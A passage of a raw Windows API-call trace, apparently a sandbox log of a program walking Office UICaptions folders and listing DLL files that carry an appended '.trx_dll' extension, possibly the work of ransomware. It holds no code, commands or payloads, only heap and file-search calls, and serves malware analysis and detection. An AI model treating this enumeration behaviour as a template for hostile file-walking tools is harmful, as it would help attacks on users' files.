Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f72b8 [0091.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13592d8 [0091.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9ac0) returned 0x132a698 [0091.603] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f72d8 [0091.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13593e0 [0091.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.605] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f72f8 [0091.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13594e8 [0091.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.607] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7318 [0091.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13595f0 [0091.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.609] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7338 [0091.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13596f8 [0091.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7358 [0091.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359800 [0091.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.613] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7378 [0091.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359908 [0091.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 0 [0091.615] GetLastError () returned 0x12 [0091.615] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0091.615] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.615] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="")) returned 0 [0091.616] GetLastError () returned 0x12 [0091.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb850) returned 1 [0091.617] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.618] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, 